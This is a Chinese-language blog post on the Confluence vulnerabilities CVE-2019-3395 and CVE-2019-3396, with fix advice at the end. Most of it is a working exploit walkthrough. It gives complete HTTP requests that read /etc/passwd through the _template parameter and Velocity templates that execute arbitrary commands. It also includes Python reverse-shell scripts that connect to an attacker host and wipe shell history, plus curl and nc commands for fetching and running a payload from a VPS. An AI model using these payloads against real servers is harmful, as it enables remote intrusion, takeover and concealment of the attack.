时光不改's 记忆碎片

Confluence SSRF及远程代码执行漏洞(CVE-2019-3395\CVE-2019-3396)

字数统计: 2.1k阅读时长: 10 min
2019/06/06 Share

Confluence SSRF及远程代码执行漏洞(CVE-2019-3395\CVE-2019-3396)

漏洞概述

近日,Confluence官方发布了SSRF漏洞(CVE-2019-3395)及远程代码执行漏洞(CVE-2019-3396)的安全通告,攻击者利用漏洞可实现远程代码执行、服务器端请求伪造。此次通告的漏洞分别存在于WebDAV、及Widget连接器中。

CVE-2019-3395 WebDAV

2018年6月18日前发布的Confluence Server及Data Center均受此漏洞影响。此漏洞存在于WebDAV插件中,攻击者可远程利用此漏洞使Confluence服务器或Data Center发送任意HTTP或WebDAV请求,实现服务器端请求伪造(SSRF)。

官方已针对此漏洞发布6.8.5、6.9.3修复版本。

CVE-2019-3396 Widget Connector

该漏洞为server-side template injection服务器端模板注入漏洞,存在于Confluence Server及Data Center的Widget Connector插件中。攻击者成功利用此漏洞可实现目录穿越及远程代码执行。

官方已针对此漏洞发布6.12.3、6.13.3、6.14.2修复版本。

漏洞利用

1.文件穿梭

使用如下报文,去访问即可

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: ip:port
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Referer: http://ip:port/login.action?os_destination=/index.action&permissionViolation=true
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Length: 181

{"contentId":"65601","macro":{"name":"widget","params":{"url":"https://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"file:////etc//passwd"},"body":""}}

2.读取当前用户和路径

1.新建vm文件
内容如下:

1
2
3
#set($e="e")
$e.getClass().forName('java.lang.System').getMethod('getProperty',$e.getClass().forName('java.lang.String')).invoke(null, 'user.name').toString()
$e.getClass().forName('java.lang.System').getMethod('getProperty',$e.getClass().forName('java.lang.String')).invoke(null, 'user.dir').toString()

2.上传vm文件
将vm文件上传到某台服务器,让其处于ftp协议或者https协议下

3.修改报文
将报文中的_template参数的值修改为:vm文件的url

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: ip:port
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Referer: http://ip:port/login.action?os_destination=/index.action&permissionViolation=true
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Length: 181

{"contentId":"65601","macro":{"name":"widget","params":{"url":"https://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"ftp://ip:port/os.vm"},"body":""}}

3.命令执行

1.新建vm文件

1
2
3
4
5
6
7
8
9
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end

2.修改报文
将报文中增加一个参数,增加的参数需要与vm文件中第二行exec的值对应

报文修改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host:ip:port
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Referer: http://ip:port/login.action?os_destination=/index.action&permissionViolation=true
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Length: 250

{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"http://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"ftp://ip:port/rce.vm","cmd":"ls"}}}

3.组合命令的执行
只需要对命令进行Java RunTime转码


转码连接:http://www.jackson-t.ca/runtime-exec-payloads.html(来自少宇jas502n)

4.反弹shell

反弹shell姿势有很多,但是如果直接反弹shell将无效。由于大部分Confluence都使用集成化文件安装。
所以内置的环境用户均为confluence,权限很低。

由于是confluence用户,直接进行大马上传也将遇到文件夹写入路径权限的问题。(思路源于清风)大部分confluence默认当前路径为 /opt/atlassian/confluence/bin (pwd)

使用ls -l命令进行查看检查读写权限。
可以看出当前目录,无有效文件夹。尝试跳转到上一级 ls -l ../。

可以发现work、temp、logs目录均为confluence、root用户都可以访问的目录。
到此,上传反弹脚本到任意一个目录即可。这里以temp目录,python反弹shell为例。
其他编程语言的方法请参考:
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

1
2
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackip",attackport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

将脚本中的attackip,attackport改为vps的ip和port,并在vps上使用如下命令监听端口
nc -l -p port -vvv

将反弹脚本文件上传到某台vps上,让其处于ftp协议或者https协议下,可以访问即可。使用如下命令下载nc.py,下载完成以后,不会有回显(如果已经处于/opt/atlassian/confluence/目录下,无需加入../)
curl -o ../temp/nc.py https://ip:port/nc.py

使用如下命令赋予nc.py执行权限

chmod a+x ../temp/nc.py

赋予完以后,记得检查一下权限,有x就好

使用如下命令进行反弹

python ../temp/nc.py #(请根据nc.py文件位置进行调整)
可以看到已经反弹成功

5.补充

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#可以使用如下python脚本进行动态ip反弹(来自少宇jas502n)
# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name

def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()

if __name__ == '__main__':
main()

使用如下命令进行反弹
python ../temp/nc.py attackip attackport

修复建议

官方升级
官方建议用户升级至最新版本6.15.1,以保证服务的安全性及稳定性。下载链接如下:

https://www.atlassian.com/software/confluence/download/
https://atlassian.com/software/confluence/download/data-center

若无法升级至最新版本,可参考下表,升级至对应修复版本:

当前版本 修复版本
6.12.0, 6.12.1, 6.12.2 6.12.3
6.14.0, 6.14.1 6.14.2
6.6.0, 6.6.1, 6.6.2, 6.6.3, 6.6.4, 6.6.5, 6.6.6, 6.6.7, 6.6.8, 6.6.9, 6.6.10, 6.6.11 6.6.12
6.13.0, 6.13.1, 6.13.2 6.13.3

其他早期版本 可升级至6.14.2、6.13.3、6.6.12任一版本。
升级widgetconnector插件至修复版本
用户可通过替换widgetconnector-*.jar文件至修复版widgetconnector-3.1.4,以实现对漏洞CVE-2019-3396的修复。具体操作步骤如下:

找到插件widgetconnector-.jar文件所在位置,linux系统下可通过下列命令查找:
`find / -name “widgetconnector-
”`

将当前widgetconnector-*.jar文件替换为安全版本,下载链接如下:
https://packages.atlassian.com/maven-public/com/atlassian/confluence/extra/widgetconnector/widgetconnector/3.1.4/widgetconnector-3.1.4.jar

重启服务,即可完成修复。

禁用不安全插件
若暂时不方便升级至修复版本,也可点击“设置” ->Manage apps/add-ons选择System,将下列Confluence插件禁用。

WebDAV plugin
Widget Connector

注:

若禁用Widget Connector插件, Widget Connector 指令将不可用,该指令是用于展示YouTube、Vimeo及推特网站内容的,禁用该指令后,用户可能会遇到‘unknown macro’错误。
若禁用WebDAV插件,将无法使用WebDAV客户端连接至Confluence。禁用此插件也将自动禁用Office Connector插件。

在完成升级后,需手动启用下列插件:

WebDAV plugin
Widget Connector
Office Connector

参考链接:

http://blog.nsfocus.net/confluence-ssrf/
https://www.jianshu.com/p/75d92d83c6c4 清水川崎

CATALOG
  1. 1. Confluence SSRF及远程代码执行漏洞(CVE-2019-3395\CVE-2019-3396)
    1. 1.1. 漏洞概述
    2. 1.2. CVE-2019-3395 WebDAV
    3. 1.3. CVE-2019-3396 Widget Connector
    4. 1.4. 漏洞利用
      1. 1.4.1. 1.文件穿梭
      2. 1.4.2. 2.读取当前用户和路径
      3. 1.4.3. 3.命令执行
      4. 1.4.4. 4.反弹shell
      5. 1.4.5. 5.补充
  2. 2. 修复建议
  3. 3. 参考链接: